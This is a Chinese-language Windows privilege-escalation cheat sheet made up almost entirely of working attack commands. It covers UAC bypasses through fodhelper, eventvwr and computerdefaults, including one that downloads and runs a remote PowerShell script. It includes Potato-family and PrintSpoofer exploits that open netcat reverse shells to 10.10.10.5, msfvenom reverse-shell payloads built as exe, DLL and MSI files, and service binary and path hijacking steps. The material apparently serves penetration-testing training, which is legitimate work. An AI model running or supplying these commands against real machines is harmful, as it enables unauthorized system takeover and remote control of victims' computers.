Windows 提权技术 — UAC 绕过、令牌窃取、服务路径劫持

:: 查看当前用户信息whoamiwhoami /privwhoami /groups :: 查看本地用户和组net usernet localgroup Administrators :: 查看系统信息systeminfohostname

# 查看当前进程完整性级别whoami /groups | findstr "Mandatory" # 使用 Process Explorer 查看进程令牌和完整性级别# 或使用 PowerShell(Get-Process -Id $PID).StartInfo

# 方法一：PowerShell 实现 fodhelper UAC 绕过# 创建注册表项New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -ForceNew-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -ForceSet-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value "cmd.exe /c powershell.exe -ep bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/shell.ps1')" -Force # 触发 fodhelperStart-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden # 清理注册表Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

# eventvwr.exe UAC 绕过New-Item "HKCU:\Software\Classes\mscfile\shell\open\command" -ForceSet-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(Default)" -Value "cmd.exe /c start powershell.exe" -Force # 触发Start-Process "C:\Windows\System32\eventvwr.exe" # 清理Remove-Item "HKCU:\Software\Classes\mscfile" -Recurse -Force

:: 使用 UACME 工具（集成了大量 UAC 绕过方法）:: https://github.com/hfiref0x/UACMEAkagi64.exe 23 C:\Windows\System32\cmd.exe :: computerdefaults.exe 绕过reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /freg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /fcomputerdefaults.exe

# 在 Meterpreter 会话中meterpreter > use incognitometerpreter > list_tokens -u # 模拟管理员令牌meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"# 或meterpreter > impersonate_token "LAB\\Administrator" # 确认权限meterpreter > getuid

:: 检查是否有 SeImpersonatePrivilegewhoami /priv :: 使用 JuicyPotatoJuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Temp\nc.exe 10.10.10.5 4444 -e cmd.exe" -t * :: 需要指定 CLSID（不同 Windows 版本 CLSID 不同）:: Windows Server 2016:JuicyPotato.exe -l 1337 -p C:\Temp\rev.exe -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

:: PrintSpoofer 提权PrintSpoofer64.exe -i -c cmd :: 直接执行反向 ShellPrintSpoofer64.exe -c "C:\Temp\nc.exe 10.10.10.5 4444 -e cmd.exe"

:: GodPotato（支持 Windows Server 2012 到 2022 全版本）GodPotato.exe -cmd "cmd /c whoami"GodPotato.exe -cmd "cmd /c C:\Temp\nc.exe 10.10.10.5 4444 -e cmd.exe" :: SweetPotatoSweetPotato.exe -p C:\Temp\nc.exe -a "10.10.10.5 4444 -e cmd.exe"

:: 查找不带引号的服务路径wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ :: PowerShell 查询Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows\*" -and $_.PathName -notlike '"*'} | Select-Object Name, PathName, StartMode :: 例如路径为：C:\Program Files\Vulnerable App\Service.exe:: Windows 会依次尝试：:: C:\Program.exe:: C:\Program Files\Vulnerable.exe:: C:\Program Files\Vulnerable App\Service.exe :: 检查是否有写入权限icacls "C:\Program Files\Vulnerable App\" :: 如果可写，放置恶意文件:: 生成 payloadmsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o Vulnerable.exe:: 将 Vulnerable.exe 复制到 C:\Program Files\ :: 重启服务sc stop VulnServicesc start VulnService

:: 检查服务二进制的文件权限icacls "C:\Services\CustomApp\service.exe":: 如果 BUILTIN\Users 有 (F) 或 (M) 权限，可以替换 :: 备份原文件copy "C:\Services\CustomApp\service.exe" "C:\Temp\service_backup.exe" :: 替换为恶意文件copy /Y C:\Temp\malicious.exe "C:\Services\CustomApp\service.exe" :: 重启服务触发执行sc stop CustomServicesc start CustomService

:: 使用 accesschk 检查服务权限accesschk.exe /accepteula -uwcqv "Authenticated Users" *accesschk.exe /accepteula -uwcqv "Users" * :: 如果对某个服务有 SERVICE_CHANGE_CONFIG 权限sc config VulnService binpath= "C:\Temp\nc.exe 10.10.10.5 4444 -e cmd.exe"sc config VulnService obj= ".\LocalSystem" password= ""sc stop VulnServicesc start VulnService

# 使用 Process Monitor 监控 DLL 加载失败# 筛选条件：Operation = CreateFile, Result = NAME NOT FOUND, Path ends with .dll # 生成恶意 DLLmsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f dll -o hijack.dll # 将 DLL 放置到目标应用程序目录# 等待应用程序或服务启动时加载

# 查找可写的 PATH 目录$env:Path -split ';' | ForEach-Object {    $path = $_    try {        $acl = Get-Acl $path -ErrorAction SilentlyContinue        $acl.Access | Where-Object {            $_.IdentityReference -match "Users|Everyone|Authenticated" -and            $_.FileSystemRights -match "Write|Modify|FullControl"        } | ForEach-Object {            Write-Output "WRITABLE: $path - $($_.IdentityReference) - $($_.FileSystemRights)"        }    } catch {}}

:: 检查是否启用reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated :: 两个键值都为 1 时存在漏洞

# 生成恶意 MSImsfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f msi -o evil.msi # 在目标机上安装msiexec /quiet /qn /i C:\Temp\evil.msi

:: 运行 WinPEAS 全面枚举winPEASx64.exe :: 仅检查特定类别winPEASx64.exe servicesinfowinPEASx64.exe userinfowinPEASx64.exe systeminfo :: 将输出保存到文件winPEASx64.exe > C:\Temp\winpeas_output.txt

# 导入 PowerUp（PowerSploit 的一部分）Import-Module .\PowerUp.ps1 # 运行所有检查Invoke-AllChecks # 单独检查不带引号的服务路径Get-UnquotedService # 检查可修改的服务Get-ModifiableService # 检查可修改的服务二进制文件Get-ModifiableServiceFile # 自动利用发现的漏洞Invoke-ServiceAbuse -Name 'VulnService' -UserName 'lab\testuser' # 检查 AlwaysInstallElevatedGet-RegistryAlwaysInstallElevated # 检查自启动项Get-ModifiableRegistryAutoRun

:: Seatbelt — 安全审计枚举Seatbelt.exe -group=all :: SharpUp — C# 版 PowerUpSharpUp.exe audit :: PrivescCheck — PowerShell 提权检查powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended" :: Windows Exploit Suggestersysteminfo > sysinfo.txtpython3 windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo sysinfo.txt